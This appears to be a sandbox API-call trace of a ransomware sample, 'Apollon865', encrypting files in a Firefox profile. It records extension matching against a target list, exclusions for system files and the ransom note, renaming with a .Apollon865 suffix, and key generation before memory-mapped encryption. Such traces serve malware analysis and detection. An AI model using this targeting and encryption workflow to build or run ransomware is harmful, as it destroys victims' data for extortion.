	[0041.002] lstrlenW (lpString="odb") returned 3
	[0041.002] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0041.002] lstrlenW (lpString="odb") returned 3
	[0041.002] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0041.002] lstrlenW (lpString="oqy") returned 3
	[0041.002] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1
	[0041.002] lstrlenW (lpString="ora") returned 3
	[0041.002] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1
	[0041.002] lstrlenW (lpString="orx") returned 3
	[0041.002] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1
	[0041.002] lstrlenW (lpString="owc") returned 3
	[0041.002] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1
	[0041.002] lstrlenW (lpString="p96") returned 3
	[0041.002] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1
	[0041.002] lstrlenW (lpString="p97") returned 3
	[0041.002] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1
	[0041.002] lstrlenW (lpString="pan") returned 3
	[0041.002] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1
	[0041.002] lstrlenW (lpString="pdb") returned 3
	[0041.002] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1
	[0041.002] lstrlenW (lpString="pdm") returned 3
	[0041.002] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1
	[0041.002] lstrlenW (lpString="pnz") returned 3
	[0041.002] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1
	[0041.002] lstrlenW (lpString="qry") returned 3
	[0041.002] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1
	[0041.002] lstrlenW (lpString="qvd") returned 3
	[0041.002] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1
	[0041.002] lstrlenW (lpString="rbf") returned 3
	[0041.002] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1
	[0041.002] lstrlenW (lpString="rctd") returned 4
	[0041.002] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1
	[0041.002] lstrlenW (lpString="rod") returned 3
	[0041.002] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1
	[0041.002] lstrlenW (lpString="rodx") returned 4
	[0041.002] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1
	[0041.002] lstrlenW (lpString="rpd") returned 3
	[0041.003] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1
	[0041.003] lstrlenW (lpString="rsd") returned 3
	[0041.003] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1
	[0041.003] lstrlenW (lpString="sas7bdat") returned 8
	[0041.003] lstrcmpiW (lpString1="ions.ini", lpString2="sas7bdat") returned -1
	[0041.003] lstrlenW (lpString="sbf") returned 3
	[0041.003] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1
	[0041.003] lstrlenW (lpString="scx") returned 3
	[0041.003] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1
	[0041.003] lstrlenW (lpString="sdb") returned 3
	[0041.003] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1
	[0041.003] lstrlenW (lpString="sdc") returned 3
	[0041.003] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1
	[0041.003] lstrlenW (lpString="sdf") returned 3
	[0041.003] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1
	[0041.003] lstrlenW (lpString="sis") returned 3
	[0041.003] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1
	[0041.003] lstrlenW (lpString="spq") returned 3
	[0041.003] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1
	[0041.003] lstrlenW (lpString="te") returned 2
	[0041.003] lstrcmpiW (lpString1="ni", lpString2="te") returned -1
	[0041.003] lstrlenW (lpString="teacher") returned 7
	[0041.003] lstrcmpiW (lpString1="ons.ini", lpString2="teacher") returned -1
	[0041.003] lstrlenW (lpString="tmd") returned 3
	[0041.003] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1
	[0041.003] lstrlenW (lpString="tps") returned 3
	[0041.003] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1
	[0041.003] lstrlenW (lpString="trc") returned 3
	[0041.003] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0041.003] lstrlenW (lpString="trc") returned 3
	[0041.003] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0041.003] lstrlenW (lpString="trm") returned 3
	[0041.003] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1
	[0041.003] lstrlenW (lpString="udb") returned 3
	[0041.003] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1
	[0041.003] lstrlenW (lpString="udl") returned 3
	[0041.003] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1
	[0041.003] lstrlenW (lpString="usr") returned 3
	[0041.003] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1
	[0041.004] lstrlenW (lpString="v12") returned 3
	[0041.004] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1
	[0041.004] lstrlenW (lpString="vis") returned 3
	[0041.004] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1
	[0041.004] lstrlenW (lpString="vpd") returned 3
	[0041.004] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1
	[0041.004] lstrlenW (lpString="vvv") returned 3
	[0041.004] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1
	[0041.004] lstrlenW (lpString="wdb") returned 3
	[0041.004] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1
	[0041.004] lstrlenW (lpString="wmdb") returned 4
	[0041.004] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1
	[0041.004] lstrlenW (lpString="wrk") returned 3
	[0041.004] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1
	[0041.004] lstrlenW (lpString="xdb") returned 3
	[0041.004] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1
	[0041.004] lstrlenW (lpString="xld") returned 3
	[0041.004] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1
	[0041.004] lstrlenW (lpString="xmlff") returned 5
	[0041.004] lstrcmpiW (lpString1="s.ini", lpString2="xmlff") returned -1
	[0041.004] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb45b48b0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb45b48b0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb4b0fa30, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x70000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="extensions.sqlite", cAlternateFileName="EXTENS~1.SQL")) returned 1
	[0041.004] lstrcmpiW (lpString1="extensions.sqlite", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0041.004] lstrcmpiW (lpString1="extensions.sqlite", lpString2="Apollon865.txt.exe") returned 1
	[0041.004] lstrcmpiW (lpString1="extensions.sqlite", lpString2=".") returned 1
	[0041.004] lstrcmpiW (lpString1="extensions.sqlite", lpString2="..") returned 1
	[0041.004] lstrcmpiW (lpString1="extensions.sqlite", lpString2="windows") returned -1
	[0041.004] lstrcmpiW (lpString1="extensions.sqlite", lpString2="bootmgr") returned 1
	[0041.004] lstrcmpiW (lpString1="extensions.sqlite", lpString2="temp") returned -1
	[0041.004] lstrcmpiW (lpString1="extensions.sqlite", lpString2="pagefile.sys") returned -1
	[0041.004] lstrcmpiW (lpString1="extensions.sqlite", lpString2="boot") returned 1
	[0041.004] lstrcmpiW (lpString1="extensions.sqlite", lpString2="ids.txt") returned -1
	[0041.004] lstrcmpiW (lpString1="extensions.sqlite", lpString2="ntuser.dat") returned -1
	[0041.004] lstrcmpiW (lpString1="extensions.sqlite", lpString2="perflogs") returned -1
	[0041.004] lstrcmpiW (lpString1="extensions.sqlite", lpString2="MSBuild") returned -1
	[0041.004] lstrlenW (lpString="extensions.sqlite") returned 17
	[0041.004] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\extensions.ini") returned 102
	[0041.004] lstrcpyW (in: lpString1=0x2d3e600, lpString2="extensions.sqlite" | out: lpString1="extensions.sqlite") returned="extensions.sqlite"
	[0041.004] lstrlenW (lpString="extensions.sqlite") returned 17
	[0041.005] lstrlenW (lpString="Apollon865") returned 10
	[0041.005] lstrcmpiW (lpString1="ons.sqlite", lpString2="Apollon865") returned 1
	[0041.005] lstrlenW (lpString=".dll") returned 4
	[0041.005] lstrcmpiW (lpString1="extensions.sqlite", lpString2=".dll") returned 1
	[0041.005] lstrlenW (lpString=".lnk") returned 4
	[0041.005] lstrcmpiW (lpString1="extensions.sqlite", lpString2=".lnk") returned 1
	[0041.005] lstrlenW (lpString=".ini") returned 4
	[0041.005] lstrcmpiW (lpString1="extensions.sqlite", lpString2=".ini") returned 1
	[0041.005] lstrlenW (lpString=".sys") returned 4
	[0041.005] lstrcmpiW (lpString1="extensions.sqlite", lpString2=".sys") returned 1
	[0041.005] lstrlenW (lpString="extensions.sqlite") returned 17
	[0041.005] lstrlenW (lpString="bak") returned 3
	[0041.005] lstrcmpiW (lpString1="ite", lpString2="bak") returned 1
	[0041.005] lstrlenW (lpString="ba_") returned 3
	[0041.005] lstrcmpiW (lpString1="ite", lpString2="ba_") returned 1
	[0041.005] lstrlenW (lpString="dbb") returned 3
	[0041.005] lstrcmpiW (lpString1="ite", lpString2="dbb") returned 1
	[0041.005] lstrlenW (lpString="vmdk") returned 4
	[0041.005] lstrcmpiW (lpString1="lite", lpString2="vmdk") returned -1
	[0041.005] lstrlenW (lpString="rar") returned 3
	[0041.005] lstrcmpiW (lpString1="ite", lpString2="rar") returned -1
	[0041.005] lstrlenW (lpString="zip") returned 3
	[0041.005] lstrcmpiW (lpString1="ite", lpString2="zip") returned -1
	[0041.005] lstrlenW (lpString="tgz") returned 3
	[0041.005] lstrcmpiW (lpString1="ite", lpString2="tgz") returned -1
	[0041.005] lstrlenW (lpString="vbox") returned 4
	[0041.005] lstrcmpiW (lpString1="lite", lpString2="vbox") returned -1
	[0041.005] lstrlenW (lpString="vdi") returned 3
	[0041.005] lstrcmpiW (lpString1="ite", lpString2="vdi") returned -1
	[0041.005] lstrlenW (lpString="vhd") returned 3
	[0041.005] lstrcmpiW (lpString1="ite", lpString2="vhd") returned -1
	[0041.005] lstrlenW (lpString="vhdx") returned 4
	[0041.005] lstrcmpiW (lpString1="lite", lpString2="vhdx") returned -1
	[0041.005] lstrlenW (lpString="avhd") returned 4
	[0041.005] lstrcmpiW (lpString1="lite", lpString2="avhd") returned 1
	[0041.005] lstrlenW (lpString="db") returned 2
	[0041.005] lstrcmpiW (lpString1="te", lpString2="db") returned 1
	[0041.006] lstrlenW (lpString="db2") returned 3
	[0041.006] lstrcmpiW (lpString1="ite", lpString2="db2") returned 1
	[0041.006] lstrlenW (lpString="db3") returned 3
	[0041.006] lstrcmpiW (lpString1="ite", lpString2="db3") returned 1
	[0041.006] lstrlenW (lpString="dbf") returned 3
	[0041.006] lstrcmpiW (lpString1="ite", lpString2="dbf") returned 1
	[0041.006] lstrlenW (lpString="mdf") returned 3
	[0041.006] lstrcmpiW (lpString1="ite", lpString2="mdf") returned -1
	[0041.006] lstrlenW (lpString="mdb") returned 3
	[0041.006] lstrcmpiW (lpString1="ite", lpString2="mdb") returned -1
	[0041.006] lstrlenW (lpString="sql") returned 3
	[0041.006] lstrcmpiW (lpString1="ite", lpString2="sql") returned -1
	[0041.006] lstrlenW (lpString="sqlite") returned 6
	[0041.006] lstrcmpiW (lpString1="sqlite", lpString2="sqlite") returned 0
	[0041.006] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\extensions.sqlite.Apollon865") returned 116
	[0041.006] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\extensions.sqlite" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\extensions.sqlite"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\extensions.sqlite.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\extensions.sqlite.apollon865"), dwFlags=0x1) returned 1
	[0041.007] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\extensions.sqlite.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\extensions.sqlite.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x154
	[0041.007] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=458752) returned 1
	[0041.007] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3470020
	[0041.007] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0041.007] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0041.007] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0041.008] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0041.008] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0041.008] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x70300, lpName=0x0) returned 0x150
	[0041.010] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x70300) returned 0x210000
	[0041.184] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0041.185] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0041.185] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0041.185] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa88
	[0041.185] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa88 | out: hHeap=0x580000) returned 1
	[0041.185] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0041.185] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5bacb8
	[0041.185] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0041.185] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5baba0
	[0041.185] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x599bd8
	[0041.185] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5baba0 | out: hHeap=0x580000) returned 1
	[0041.185] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599bd8 | out: hHeap=0x580000) returned 1
	[0041.185] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bacb8 | out: hHeap=0x580000) returned 1
	[0041.185] UnmapViewOfFile (lpBaseAddress=0x210000) returned 1
	[0041.189] CloseHandle (hObject=0x150) returned 1
	[0041.189] CloseHandle (hObject=0x154) returned 1
	[0041.195] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0041.195] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0041.195] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3470020 | out: hHeap=0x580000) returned 1
	[0041.200] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3072e7d0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3072e7d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0041.200] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0041.202] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6ff4f30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb701b090, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb701b090, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="indexedDB", cAlternateFileName="INDEXE~1")) returned 1
	[0041.202] lstrcmpiW (lpString1="indexedDB", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0041.203] lstrcmpiW (lpString1="indexedDB", lpString2="Apollon865.txt.exe") returned 1
	[0041.204] lstrcmpiW (lpString1="indexedDB", lpString2=".") returned 1
	[0041.204] lstrcmpiW (lpString1="indexedDB", lpString2="..") returned 1
	[0041.205] lstrcmpiW (lpString1="indexedDB", lpString2="windows") returned -1
	[0041.205] lstrcmpiW (lpString1="indexedDB", lpString2="bootmgr") returned 1
	[0041.206] lstrcmpiW (lpString1="indexedDB", lpString2="temp") returned -1
	[0041.206] lstrcmpiW (lpString1="indexedDB", lpString2="pagefile.sys") returned -1
	[0041.207] lstrcmpiW (lpString1="indexedDB", lpString2="boot") returned 1
	[0041.207] lstrcmpiW (lpString1="indexedDB", lpString2="ids.txt") returned 1
	[0041.207] lstrcmpiW (lpString1="indexedDB", lpString2="ntuser.dat") returned -1
	[0041.208] lstrcmpiW (lpString1="indexedDB", lpString2="perflogs") returned -1
	[0041.208] lstrcmpiW (lpString1="indexedDB", lpString2="MSBuild") returned -1
	[0041.208] lstrlenW (lpString="indexedDB") returned 9
	[0041.208] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\extensions.sqlite") returned 105
	[0041.209] lstrcpyW (in: lpString1=0x2d3e600, lpString2="indexedDB" | out: lpString1="indexedDB") returned="indexedDB"
	[0041.210] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ae8
	[0041.210] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xc4) returned 0x5994f0
	[0041.210] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7af0 | out: ListHead=0x5b76b0, ListEntry=0x5b7af0) returned 0x5b7c50
	[0041.210] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb4815eb0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb4815eb0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x853f60d0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="key3.db", cAlternateFileName="")) returned 1
	[0041.211] lstrcmpiW (lpString1="key3.db", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0041.212] lstrcmpiW (lpString1="key3.db", lpString2="Apollon865.txt.exe") returned 1
	[0041.213] lstrcmpiW (lpString1="key3.db", lpString2=".") returned 1
	[0041.214] lstrcmpiW (lpString1="key3.db", lpString2="..") returned 1
	[0041.214] lstrcmpiW (lpString1="key3.db", lpString2="windows") returned -1
	[0041.214] lstrcmpiW (lpString1="key3.db", lpString2="bootmgr") returned 1
	[0041.214] lstrcmpiW (lpString1="key3.db", lpString2="temp") returned -1
	[0041.214] lstrcmpiW (lpString1="key3.db", lpString2="pagefile.sys") returned -1
	[0041.215] lstrcmpiW (lpString1="key3.db", lpString2="boot") returned 1
	[0041.215] lstrcmpiW (lpString1="key3.db", lpString2="ids.txt") returned 1
	[0041.232] lstrcmpiW (lpString1="key3.db", lpString2="ntuser.dat") returned -1
	[0041.232] lstrcmpiW (lpString1="key3.db", lpString2="perflogs") returned -1
	[0041.232] lstrcmpiW (lpString1="key3.db", lpString2="MSBuild") returned -1
	[0041.232] lstrlenW (lpString="key3.db") returned 7
	[0041.232] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB") returned 97
	[0041.232] lstrcpyW (in: lpString1=0x2d3e600, lpString2="key3.db" | out: lpString1="key3.db") returned="key3.db"
	[0041.232] lstrlenW (lpString="key3.db") returned 7
	[0041.232] lstrlenW (lpString="Apollon865") returned 10
	[0041.232] lstrlenW (lpString=".dll") returned 4
	[0041.232] lstrcmpiW (lpString1="key3.db", lpString2=".dll") returned 1
	[0041.232] lstrlenW (lpString=".lnk") returned 4
	[0041.232] lstrcmpiW (lpString1="key3.db", lpString2=".lnk") returned 1
	[0041.232] lstrlenW (lpString=".ini") returned 4
	[0041.232] lstrcmpiW (lpString1="key3.db", lpString2=".ini") returned 1
	[0041.232] lstrlenW (lpString=".sys") returned 4
	[0041.232] lstrcmpiW (lpString1="key3.db", lpString2=".sys") returned 1
	[0041.232] lstrlenW (lpString="key3.db") returned 7
	[0041.232] lstrlenW (lpString="bak") returned 3
	[0041.232] lstrcmpiW (lpString1=".db", lpString2="bak") returned -1
	[0041.232] lstrlenW (lpString="ba_") returned 3
	[0041.232] lstrcmpiW (lpString1=".db", lpString2="ba_") returned -1
	[0041.232] lstrlenW (lpString="dbb") returned 3
	[0041.232] lstrcmpiW (lpString1=".db", lpString2="dbb") returned -1
	[0041.232] lstrlenW (lpString="vmdk") returned 4
	[0041.232] lstrcmpiW (lpString1="3.db", lpString2="vmdk") returned -1
	[0041.232] lstrlenW (lpString="rar") returned 3
	[0041.232] lstrcmpiW (lpString1=".db", lpString2="rar") returned -1
	[0041.232] lstrlenW (lpString="zip") returned 3
	[0041.232] lstrcmpiW (lpString1=".db", lpString2="zip") returned -1
	[0041.233] lstrlenW (lpString="tgz") returned 3
	[0041.233] lstrcmpiW (lpString1=".db", lpString2="tgz") returned -1
	[0041.233] lstrlenW (lpString="vbox") returned 4
	[0041.233] lstrcmpiW (lpString1="3.db", lpString2="vbox") returned -1
	[0041.233] lstrlenW (lpString="vdi") returned 3
	[0041.233] lstrcmpiW (lpString1=".db", lpString2="vdi") returned -1
	[0041.233] lstrlenW (lpString="vhd") returned 3
	[0041.233] lstrcmpiW (lpString1=".db", lpString2="vhd") returned -1
	[0041.233] lstrlenW (lpString="vhdx") returned 4
	[0041.233] lstrcmpiW (lpString1="3.db", lpString2="vhdx") returned -1
	[0041.233] lstrlenW (lpString="avhd") returned 4
	[0041.233] lstrcmpiW (lpString1="3.db", lpString2="avhd") returned -1
	[0041.233] lstrlenW (lpString="db") returned 2
	[0041.233] lstrcmpiW (lpString1="db", lpString2="db") returned 0
	[0041.233] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\key3.db.Apollon865") returned 106
	[0041.233] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\key3.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\key3.db"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\key3.db.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\key3.db.apollon865"), dwFlags=0x1) returned 1
	[0041.279] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\key3.db.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\key3.db.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x158
	[0041.279] GetFileSizeEx (in: hFile=0x158, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=16384) returned 1
	[0041.279] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3270020
	[0041.279] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0041.279] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0041.279] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0041.280] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0041.280] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0041.280] CreateFileMappingW (hFile=0x158, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4300, lpName=0x0) returned 0x154
	[0041.282] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4300) returned 0x100000
	[0041.325] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0041.325] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0041.326] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0041.326] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa88
	[0041.326] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa88 | out: hHeap=0x580000) returned 1
	[0041.326] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0041.326] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5bacb8
	[0041.326] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0041.326] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5baba0
	[0041.326] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x599bd8
	[0041.326] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5baba0 | out: hHeap=0x580000) returned 1
	[0041.326] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599bd8 | out: hHeap=0x580000) returned 1
	[0041.326] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bacb8 | out: hHeap=0x580000) returned 1
	[0041.326] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0041.326] CloseHandle (hObject=0x154) returned 1
	[0041.326] CloseHandle (hObject=0x158) returned 1
	[0041.328] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0041.328] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
